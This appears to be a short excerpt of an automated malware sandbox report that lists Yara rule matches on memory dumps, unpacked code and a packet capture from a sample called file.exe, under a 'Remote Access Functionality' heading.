Source: Yara match File source: 00000000.00000002.1726930523.0000000000181000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1727662731.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1685626986.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 6976, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP

Remote Access Functionality

barindex
Source: Yara match File source: 0.2.file.exe.180000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.1726930523.0000000000181000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1727662731.00000000011AE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000003.1685626986.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 6976, type: MEMORYSTR
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: dump.pcap, type: PCAP
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs